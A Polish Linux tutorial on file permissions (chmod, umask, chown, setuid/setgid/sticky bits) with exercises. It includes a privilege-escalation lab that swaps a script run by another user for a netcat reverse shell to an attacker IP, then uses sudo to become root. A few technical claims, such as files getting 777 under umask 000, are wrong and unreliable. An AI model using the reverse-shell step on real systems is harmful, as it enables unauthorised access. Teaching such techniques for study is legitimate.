Przywileje dotyczące plików

Linux jest systemem, który pozwala setkom użytkowników na logowanie się i pracę w jednym czasie. W systemie znajdują się poza tym setki tysięcy plików i katalogów, które muszą być utrzymywane w bezpieczny sposób. Dla administratorów systemów koniecznością jest zapewnienie odpowiednich uprawnień dostępu do plików i katalogów aby nie narażać bezpieczeństwa systemu. Użytkownicy podzieleni są na trzy unikalne klasy uprawnień:

- **User (u)** - Właściciel pliku lub katalogu, zazwyczaj twórca
- **Group (g)** - Zbiór użytkowników, którzy potrzebują takiego samego dostępu do plików i katalogów, które współdzielą. Informacje o grupach znajdują się w pliku `/etc/group`, a użytkownicy są przypisani do tych grup.
- **Others (o)** - Wszyscy inni użytkownicy systemu (poza właścicielem pliku lub katalogu i członkami grupy, do której należy plik czy katalog).

Uprawnienia

Uprawnienia w porównaniu do systemów windowsowych to temat można powiedzieć łatwy, prosty i przyjemny, bo w odróżnieniu od systemów z rodziny Windows, w Ubuntu oraz we wszystkich innych dystrybucjach Linux, występują tylko 3 rodzaje uprawnień, są nimi: **odczyt**, **zapis** oraz **wykonanie**, a przypisuje się je pojedynczo lub zbiorczo odpowiednio do właściciela (user-owner), grupy (group) nadrzędnej, jakiej właściciel jest członkiem oraz do pozostałych (others), czyli wszystkich innych użytkowników niebędących właścicielami zasobu lub członkami grupy będącej właścicielem.

Przy nadawaniu uprawnień stosuje się albo zapis słowny i liczbowy:

Liczba	Symbol	Uprawnienie	Działanie na pliku	Działanie na katalogu
4	r (read)	odczyt	Pozwala na odczyt pliku i kopiowanie go	Pozwala na wyświetlenie zawartości folderu przez komendę ls
2	w (write)	modyfikacja	Pozwala na modyfikacje zawartości pliku	Pozwala na utworzenie, wykasowanie lub zmianę nazwy pliku i podkatalogu
1	x (execute)	wykonanie	Pozwala na wykonanie pliku	Pozwala na wejście do katalogu

Pełne uprawnienia to 7, gdyż to suma tych trzech liczb.

Uprawnienia do danego pliku lub też katalogu wyświetlimy stosując polecenie `ls -l` przykładową odpowiedzią jaką możemy uzyskać jest informacja: `drwxrwxr-x student student 4096 Nov 5 08:38 katalog1` Zapis `drwxrwxr-x` możemy podzielić na cztery elementy, pierwszy znak (d) to informacja z jakim plikiem mamy styczność może to być:

- d – katalog (ang. directory)
- – – zwykły plik
- b – urządzenie blokowe
- c – urządzenie znakowe
- C – ciągłe dane (ang. contigous data)
- l – link symboliczny

- p – kolejka FIFO (ang. named pipe)
- s – gniazdo (ang. socket)
- ? – inny, nieznany rodzaj pliku

Następne dziewięć znaków informuje nas o uprawnieniach poszczególnych klas użytkowników. Pierwsze trzy odnoszą się do **usera** w tym przypadku oznaczają, że użytkownik będący właścicielem katalogu (tutaj student) oraz jego grupa informacje o której stanowi druga trójka znaków mają pełne prawa (rwxrwx), a pozostali mogą jedynie odczytywać zawartość katalogu, bez możliwości tworzenia w nim zasobów (r-x)

Innymi kombinacjami uprawnień jakie możemy zobaczyć są:

Symbol	Zapis binarny	Zapis oktalny	Uprawnienie
- - -	000	0	Brak uprawnień
- -x	001	1	Wykonanie
-w-	010	2	Zapis
-wx	011	3	Zapis i wykonanie
r- -	100	4	Odczyt
r-x	101	5	Odczyt i wykonanie
rw-	110	6	Odczyt i zapis
rwx	111	7	Odczyt, zapis i wykonanie

Zarządzanie uprawnieniami

Do nadawania, odbierania lub przyznawania typów i klas uprawnień służą tryby uprawnień

- Add (+) Dodaje uprawnienie.
- Revoke (-) Odbiera uprawnienie.
- Assign (=) Alokuje uprawnienie dla właściciela, grupy i innych w jednym czasie

Do modyfikowania praw dostępu do plików i katalogów służy polecenie `chmod`, właściciel pliku lub katalogu oraz root mogą używać polecenia chmod dodając do niego notacje symboliczną lub liczbową zgodnie z oznaczeniami zawartymi we wcześniej przedstawionych tabelach.

Lab - Nadawanie i odbieranie uprawnień do plików:

Przykład 1 W przykładzie chcemy nadać prawo do czytania, pisania oraz wykonywania dla właściciela pliku `plik1`, prawo do czytania dla użytkowników grupy, oraz odebrać wszystkie uprawnienia pozostały użytkownikom. W tym celu musimy utworzyć specjalną liczbę, którą wstawiamy w miejsce tryb-octal (`chmod (tryb-octal) (nazwa_pliku)`).

Z informacji zawartych wcześniej wiemy że uprawnienie do czytania, pisania oraz wykonywania oznaczone jest w zapisie oktalnym liczbą 7 (4+2+1) więc takie właśnie uprawnienie nadamy właścicielowi pliku. Prawo do czytania dla użytkowników grupy oznacza że drugą wartością oktalną w naszej komendzie będzie 4. Ostatnią wartością oznaczającą odebranie uprawnień do pliku pozostałym użytkownikom będzie 0. Cała komenda więc będzie wyglądała następująco: `chmod 740 plik1`

Po sprawdzeniu uprawnień do pliku `plik1` system powinień nam przekazać następującą informację: `-rwxr----- 1 student student 4096 Nov 5 08:38 plik1`

Przykład 2 W przykładzie drugim chcemy odebrać wszystkim wszelkie uprawnienia do pliku. Aby to zrobić, przy wykonywaniu komendy `chmod` należy w miejscu trzech argumentów oktalnych użyć wszędzie liczby 0, komenda w tym przypadku powinna wygladać następująco: `chmod 000 plik1` Po sprawdzeniu uprawnień do pliku `plik1` system powinień nam przekazać następującą informacje: `---------- 1 student student 4096 Nov 5 08:38 plik1`

Przykład 3 Jeśli chcemy zdefiniować prawa dla różnych użytkowników jednocześnie, wpisujemy znak określający danych użytkowników (u, g lub o) oraz uprawnienia rozdzielając klasy użytkowników przecinkiem. Przykładowa konstrukcja takiej komendy może wyglądać następująco: `chmod u+rw,g+r,o+x` Komenda ta sprawiła że właściciel (u) pliku może czytać i pisać, grupa (g) może czytać, a pozostali (o) mogą wykonywać.

Przykład 4 Jeśli nie wiemy jakie uprawnienia plik posiadał wcześniej możemy ustawić konkretne prawa dostępu do pliku. Należy pamiętać o jednym, jeśli określimy uprawnienia np. właścicielowi pliku a nie określimy ich innym użytkownikom to uprawnienia nieokreślone przez nas pozostaną niezmienione. Aby wyzerować ich uprawnienia musimy podać jako prawo dostępu minus. Przykładową komendą przezentującą działanie tego mechanizmu może być: `chmod u+rw,g=-,o=-` W tym przypadku user ma prawo do odczytu i zapisu a uprawnienia pozostałych klas zosatają wyzerowane.

Zmiana praw do wielu plików równocześnie Chyba najważniejszą opcją dla tego polecenia jest -R, która zmienia prawa dostępu dla katalogu oraz wszystkich jego plików jednocześnie, komenda z tą opcją wygląda następująco: `chmod -R` . Bardzo ułatwia to życie, jeśli musimy edytować uprawnienia wielu plików, katalogów i podkatalogów.

Mechanizm dziedziczenia plików

W przeciwieństwie do systemów Windows, w Ubuntu oraz innych systemach opartych na jądrze Linux, domyślnie zjawisko dziedziczenia uprawnień nie występuje. To znaczy pliki i katalogi, które tworzone są w zasobie z określonymi uprawnieniami takich samych uprawnień nie będą mieć. Każdy plik i katalog tworzony w katalogu domowym użytkownika ma uprawnienia domyślne 775 dla katalogów oraz 664 dla plików. W przypadku katalogu domowego użytkownika root, a także katalogu głównego, uprawniania są ustawione na 755 dla katalogów oraz 644 dla plików. Jeśli chcemy, aby nowo tworzone zasoby w danym katalogu miały inne uprawniania, to możemy zastosować polecenie `umask`, definiuje ono domyślne uprawnienia dla zasobów tworzonych w katalogu.

Polecenie `umask` jest odpowiedzialne za ograniczenie praw dostępu (chmod). Podczas tworzenia pliku (katalogu) nadawane są jakieś uprawnienia dla tego pliku (katalogu). Standardowo w systemie Linux uprawnienia dla tworzonego pliku są rw-rw-rw- (ósemkowo 666) jeśli maska jest wyłączona. Z kolei jeśli tworzymy katalog i maska również jest wyłączona, to katalog posiadać będzie uprawnienia rwxrwxrwx (ósemkowo 777).

Sprawdzenie wartości maski realizuje się używając polecenia `umask` , bez dodatkowych argumentów. Należy pamiętać że wartości liczbowe wyświetlane są różnicą wartości określającej pełne uprawnienia (7) oraz wartości uprawnień jakie są ustawione na wybranym pliku lub katalogu. Przykładowo jeśli maska jest ustawiona na 0002 to znaczy, że właściciel ma pełne prawa do zasobu (0002: od 7 odjęto 0, co daje 7), analogicznie grupa (0002: od 7 odjęto 0, co daje 7), a pozostali mają odczyt i wykonanie (0002: od 7 odjęto 2 co daje 5).

Lab: Zmiana maski pliku lub katalogu

W tym ćwiczeniu sprawdzimy maskę naszego katalogu oraz zmienimy ją używając polecenia `umask` :

```
umask # na początek sprawdzamy maskę katalogu w którym obecnie się znajdujemy
```

W odpowiedzi powinniśmy otrzymać wartość liczbową określającą maskę np.: `0777`

Oznacza to, że wszystkie pliki, które zostaną stworzone w tym katalogu będą pozbawione wszelkich praw. Aby zdjąć maskę możemy użyć polecenia `umask 000`:

```
student@archlinux:~$ umask
# sprawdzamy aktualną maskę plików
# maska to 0777 a więc pliki, które zostaną stworzone w tym katalogu będą pozbawione
wszelkich praw

student@archlinux:~$ umask 000
# ustawiamy nową maskę 0000

student@archlinux:~$ umask
# ponownie sprawdzamy maskę
# maska wynosi 0000 a więc kolejne pliki tworzone są z normalnymi uprawnieniami tj.
777
```

W konsekwencji tego polecenia kolejne pliki tworzone są z normalnymi uprawnieniami tj. 777. Aby odwrócić proces i pozbawić praw wszystkie pliki i podkatalogi należy użyć polecenia `umask 777`

```
student@archlinux:~$ umask
# sprawdzamy aktualną maskę plików
# maska wynosi 0000 a więc kolejne pliki tworzone są z normalnymi uprawnieniami tj.
777

student@archlinux:~$ umask 777
# ustawiamy nową maskę 0000

student@archlinux:~$ umask
# ponownie sprawdzamy maskę
# maska to 0777 a więc pliki, które zostaną stworzone w tym katalogu ponownie będą
pozbawione wszelkich praw
```

Zmiana właściciela pliku lub katalogu

Poleceniem systemu Unix i pochodnych używanym do zmiany właściciela pliku jest `chown`. W większości implementacji może być wykonywane tylko przez administratora systemu, zwykli użytkownicy, którzy chcą zmienić grupę pliku, muszą korzystać z polecenia chgrp. Zmiana właściciela pliku czy katalogu to dość częsta praktyka. Domyślnie właścicielem pliku czy katalogu jest użytkownik, który go stworzył. Jeśli zaistnieje potrzeba zmiany właściciela wykorzystujemy do tego polecenie `chown`, konstrukacja polcenia w przypadku zmiany właściela wygląda następująco:

```
sudo chown [użytkownik] [katalog/plik]
# ogólna konstrukacja polecenia

sudo chown student plik1
# przykład użycia polecenia, w tym przypadku zmiana właściciela pliku plik1 na
użytkownika student
```

```
sudo chown student /katalog/plik3
# przykład użycia polecenia, w tym przypadku zmiana właściciela pliku plik3 na
użytkownika student
```

A w przypadku grupy:

```
sudo chown :[grupa] [katalog/plik]
# ogólna konstrukacja polcenia

sudo chown :group1 plik1
# przykład użycia polecenia, w tym przypadku zmiana grupy pliku plik1 na grupę group1

sudo chown :group1 /katalog/plik3
# przykład użycia polecenia, w tym przypadku zmiana grupy pliku plik3 na grupę group1
```

Jeśli zaistnieje potrzeba jdnoczesnej zmiany właściciela i grupy możemy użyć konstrukcji:

```
sudo chown [użytkowni]:[grupa] [katalog/plik]
# ogólna konstrukacja polcenia

sudo chown student:group1 plik1
# przykład użycia polecenia, w tym przypadku zmiana grupy pliku plik1 na grupę group1
i właściela na użytkownika student

sudo chown student:group1 /katalog/plik3
# przykład użycia polecenia, w tym przypadku zmiana grupy pliku plik3 na grupę group1
i właściela na użytkownika student
```

Uprawnienia bitowe

Linux oferuje trzy typy specjalnych uprawnień bitowych, które mogą być ustawione na plikach i katalogach:

Skrót	Liczba	Nazwa	Właściwość
setuid	4	set user identifier bit	bit identyfikatora użytkownika
setgid	2	set group identifier bit	bit identyfikatora grupy
sticky	1	sticky bit	klejący bit

1. Sticky Bit Spośród powyższych uprawnień bitowych dla zwykłych użytkowników systemu najistotniejsze jest działanie lepkiego bitu. Ustawiany jest on w katalogach, w których wszyscy użytkownicy mogą zapisywać dane aby zabezpieczyć pliki i podkatalogi należące do zwykłych użytkowników przed skasowaniem lub przeniesieniem przez innych użytkowników.

Edycja sticky bitu Do edycji wszystkich bitów możemy użyć polcenia `chmod`, aby to zrobić należy podać dodatkową liczbę (wartość bitu w formacie oktalnym) przed wartościami określającymi uprawnienia pliku lub katalogu. Cała konstrukcja więc będzie wyglądała następująco:

```
chmod VXYZ nazwa_pliku
```

gdzie:

- V - oznaczna ustawienie bitu
- X - Uprawnienia użytkowników klasy user
- Y - Uprawnienia grupy
- Z - Uprawnienia pozostałych użytkowników

Aby dodać sticky bit do pliku lub katalogu należy użyć zapisu:

```
chmod 1XYZ plik1 # dodajemy sticky bit
```

A aby usunąć sticky bit:

```
chmod XYZ plik1 # usuwamy sticky bit
```

Między innymi foldery `/tmp` oraz `/var/tmp` będą miały już ustawiony sticky bit:

```
ls -ld /tmp /var/tmp
# Sprawdzamy uprawnienia plików, opcja -d oznacza directory (katalog) bez zawartości
```

Nadajmy teraz sticky bit dla przykładowego pliku:

```
cd
touch plik5
ls -l plik5
# utworzyliśmy plik5 i sprawdzamy jego uprawnienia

chmod 1755 plik5
ls -l  plik5
# nadaliśmy uprawnienia numerycznie (dodając sticky bit) i sprawdziliśmy uprawnienia

chmod+t plik5
ls -l  plik5
# nadaliśmy uprawnienia literalnie i sprawdziliśmy uprawnienia

chmod 755 plik5
ls -l plik5
# nadaliśmy uprawnienia numberycznie (bez sticky bit) i sprawdziliśmy uprawnienia
```

Foldery w folderze `/` z ustawieniem sticky bit możemy znaleźć m.in. poniższą komendą `find`:

```
sudo find / -type d -perm -1000
```

2. Bit setuid Flaga setuid jest ustawiana na plikach wykonywalnych na poziomie właściciela pliku. Plik wykonywalny z ustawionym bitem setuid jest wykonywany przez zwykłych użytkowników z takimi przywilejami jakie posiada właściciel pliku. Przykładem jest komenda `su`, której właścicielem jest root. Komenda ta ma domyślnie ustawiony bit setuid. Gdy zwykły użytkownik wykonuje tą komendę zostanie ona uruchomiona tak jak gdyby root ją uruchomił.

Edycja bitu setuid Aby usunąć bit setuid z polecenia `su` używamy polecenia `chmod` tym razem z wykorzystaniem notacji symbolicznej (`u-s`):

```
student@archlinux:~$ sudo chmod u-s /usr/bin/su
student@archlinux:~$ ls -l /usr/bin/su
# -rwxr-xr-x 1 root root 67552 11-18 14:06 /usr/bin/su
student@archlinux:~$ su -
# hasło:
# su: Usługa uwierzytelniania nie może uzyskać informacji o uwierzytelnianiu
```

Plik jest wciąż wykonywalny ale nie ma bitu setuid (s), będzie to zapobiegać przed przełączaniem się zwykłych użytkowników na konta innych użytkowników tak jakby utracili specjalne uprawnienia. Użytkownik otrzymuje komunikat o braku możliwości uwierzytelnienia pomimo, że wpisał prawidłowe hasło.

Jako że chcemy móc korzystać w przyszłości z polecenia `su` to teraz musimy przywrócić bit setuid temu poleceniu. Aby to zrobić ponownie korzystamy z polcenia chmod.

```
student@archlinux:~$ sudo chmod u+s /usr/bin/su
lub
student@archlinux:~$ sudo chmod 4755 /usr/bin/su
```

Foldery w folderze `/` z ustawieniem setuid bit możemy znaleźć m.in. poniższą komendą `find` :

```
sudo find / -type d -perm -4000 2>/dev/null
```

3. Bit setgid Bit setgid ustawiany jest na plikach wykonywalnych na poziomie grupy. Z ustawionym bitem setgid plik jest wykonywany przez użytkowników, którzy nie są jego właścicielami, z przywilejami użytkowników należących do grupy. Przykładem programu z ustawionym bitem setgid jest wall, a więc program, który rozgłasza komunikaty wszystkim zalogowanym użytkownikom i drukuje je na terminalach użytkowników

Edycja bitu setgid Usuńmy bit setgid z `/usr/bin/wall`

```
student@archlinux:~$ ls -l /usr/bin/wall
student@archlinux:~$ wall "Witam to jest nowa wiadomość"
student@archlinux:~$ sudo chmod g-s /usr/bin/wall
student@archlinux:~$ ls -l /usr/bin/wall
# -rwxr-xr-x 1 root tty 34784 11-18 14:06 /usr/bin/wall
```

Użytkownicy, którzy nie są właścicielem programu wall (wszyscy poza rootem) utracili teraz przywilej rozgłaszania komunikatów. Aby przywrócić im ten przywilej przypiszemy znów bit setgid

```
student@archlinux:~$ sudo chmod g+s /usr/bin/wall
# lub
student@archlinux:~$ sudo chmod 2555 /usr/bin/wall
```

Pliki w folderze `/` z ustawieniem groupid bit możemy znaleźć m.in. poniższą komendą `find` :

```
sudo find / -perm -2000 2>/dev/null
```

Zjawisko eskalacji uprawnień

Eskalacja uprawnień polega na wykorzystaniu określonych podatności lub błędów konfiguracyjnych w celu uzyskania wyższych uprawnień niż obecnie posiadane. Zwykle

proces ten wykorzystuje się do przejścia z poziomu uprawnień zwykłego użytkownika do poziomu uprawnień administracyjnych danego systemu.

W systemach z rodziny Linux istnieje kilka podstawowych poleceń pomagających w eskalacji uprawnień, które dobrze opisane można znaleźć na blogu g0tmik – podstawowa eskalacja uprawnień na systemach Linux. Wiele z nich można zautomatyzować i właśnie to robi dla nas LinEnum.

Skrypty automatyzujące enumeracje:

- LinEnum
- Unix privesc
- Linprivchecker.py

Ćwiczenie: Eskalacja uprawnień

Ćwiczenie będzie polegało na podniesieniu uprawnień w systemie Linux. Scenariusz zakłada że użytkownikowi udało się wyexploitować stronę internetową i ma możliwośc zdalnego wykonywania kodu. Ma on też dostep do programu netcat, oraz uzyskał połączenie z powłoką systemową bin/sh.

Pierwszym krokiem będzie sprawdzenie jakim użytkownikiem obecnie jesteśmy, w jakim katalogu się znajdujemy oraz co się znajduje w tym katalogu, w tym celu korzystamy ze znanych nam od dawna komend `whoami`, `pwd` oraz `ls -lah`

```
-sh-5.1$ whoami
www-user
-sh-5.1$ pwd
/home/www
-sh-5.1$ ls -lah
# razem 20K
# drwxr-xr-x 3 www-user root 4,0K 01-13 21:45 .
# drwxr-xr-x 4 root root 4,0K 01-12 19:33 ..
# -rw------- 1 www-user www-user 2,0K 01-13 21:10 .bash_history
# -rw-r-xr-- 1 www-user eskalacja 30 01-13 21:45 cleaner.sh
# -rw-r--r-- 1 www-user eskalacja 0 01-12 19:36 index.html
# drwxr-xr-x 2 www-user eskalacja 4,0K 01-12 20:13 tmp
```

Następnie należy sprawdzić jakie procesy są obecnie uruchomione w systemie, w tym celu korzystamy z komendy `ps aux` i szukamy procesu `cleaner.sh`

```
-sh-5.1$ ps aux | grep cleaner.sh
# student 373 0.0 0.1 9060 3028 tty1 T 21:53 0:00 watch -n5 /home /www/cleaner.sh
# www-user 388 0.0 0.1 8936 2320 tty2 R+ 21:59 0:00 grep cleaner.sh
```

Widzimy tu że użytkownik student uruchamia ten skrypt. Sytuacja ta jest potencjalnie niebezpieczna ponieważ wystarczy podmienić ten skrypt na nasz własny a wtedy zostanie on wykonany z uprawnieniami studenta.

Rozpoczynamy więc tworzenie własnego skryptu o nazwie `a.sh` który będzie uruchamiał program netcat w celu stworzenia połączenia z naszym hostem ("atakującego") i podmieniamy go z plikiem `cleaner.sh`

```
vi a.sh #tworzymy plik a.sh
```

Wprowadzamy następujący skrypt:

```
#!/bin/bash
nc -nv 169.254.01.101 1234 -e /bin/bash
# to jest skrypt inicjujący połączenie z naszym zdalnym hostem, komenda zawiera adres IP oraz numer portu do którego chcemy sie połączyć (maszyna z której będziemy zewnętrznie kontrolować przejmowany system), argument -e (execute) oraz powłokę systemową która ma zostać uruchomiona po połączeniu
```

Po zapisaniu pliku zamieniamy go z pikiem `cleaner.sh` komendą `mv`

```
mv a.sh cleaner.sh
chgrp eskalacja cleaner.sh # zmieniamy grupę pliku
chmod g+x cleaner.sh # dodajemy atrybut
```

Ostatnie co zostało do zrobienie to zmiana grupy skryptu i dodanie atrubutu do uruchomienia pliku.

W między czasie uruchamiany program netcat na naszym hoście "atakującego" (może to być inny system Linux lub np. Windows) w celu nasłuchiwania na połączenie.

```
nc -nlvp 1234
# uruchamiamy program netcat w celu nasłuchiwania na połączenie
```

Po chwili powinniśmy uzyskać połączenie i być zalogowani jako student na maszynie atakowanej, a co za tym idzie powinniśmy uzyskać więcej uprawnień i dostęp do nowych plików. Aby sprawdzić co możemy znaleźć w folderze tego użytkownika ponownie korzystamy z komendy `pwd` oraz `ls -lah`. W źle skonfigurowanym systemie, potencjalnie moglibyśmy zalogować się na konto administratora - root i mieć pełną kontrolę na całym systemem.

W przykładzie intruz odnalazł hasło dostępu do konta student które było zapisane w jednym z plików w folderze użytkownika.

Kojenym krokiem będzie próba podniesienia uprawnień do użytkownika root. Pierwszym testem jaki wykonamy będzie sprawdzenie konfiguracji polecenia `sudo`, w tym celu wpisujemy polecenie informujące nas do jakich poleceń ma dostęp student:

```
sudo -l
# (ALL : ALL) ALL
```

Jak się okazało w przykładzie student ma dostęp do wszystkich poleceń. Z łatwością możemy więc zalogować się na konto roota przy pomocy polecenia

```
sudo su
id
whoami
# root
```

W ten sposób zalogowaliśmy się na konto roota ;)

Ćwiczenia doskonalające

Poniżej znajdują się rozwiązania do kolejnych poleceń w ćwiczeniu, możesz porównać z nimi swoje wyniki z konsoli:

1.W katalogu domowym załóż katalog k1. Ustaw mu numerycznie zezwolenia drwxrw-r--.

Rozwiązanie:

```
cd
mkdir k1
chmod 764 k1
ls -lah k1
```

2.Odbierz innym możliwość odczytu (system literowy).

```
chmod o-r k1
ls -lah k1
```

3.Dodaj grupie możliwość wykonywania (system literowy).

```
chmod g+x k1
ls -lah k1
```

4.Przypisz wszystkim możliwość odczytu, zapisu oraz wykonywania (system literowy).

```
chmod -R +rwx k1
ls -lah k1
# Uwaga, jeśli mieliśmy ustawiony umask np. 0002, wówczas orzymamy rezultat drwxrwxr-x, zamiast oczekiwanego drwxrwxrwx. Wówczas, aby uzyskać oczekiwany w zadaniu rezultat należałoby ustawić umask 0000 w katalogu domowym
```

5.Odbierz grupie i innym możliwość zapisu (system literowy).

```
chmod g-w,o-w k1
ls -lah k1
```

6.Nadaj numerycznie zezwolenia dr-xrw-r--.

```
chmod 564 k1
ls -lah k1
```

7.Przypisz grupie i innym odczyt i wykonywanie (system literowy).

```
chmod g+rx,o+rx k1
ls -lah k1
```

8.Załóż w katalogu k1 plik tekstowy p1.txt. Ustaw mu numerycznie zezwolenia -rw-r--r--.

```
touch k1/p1.txt
cd k1
chmod 644 p1.txt
ls -lah
```

9.Numerycznie ustaw dla katalogu k1 i całej jego zawartości zezwolenia odczytu i wykonywania.

```
chmod -R 555 k1
ls -lah k1
```

10.Załóż katalog k2 przypisując mu uprawnienia drwx------, ale nie masz korzystać z polecenia chmod.

```
mkdir k2
cd k2
umask 0077
touch a
ls -lah
```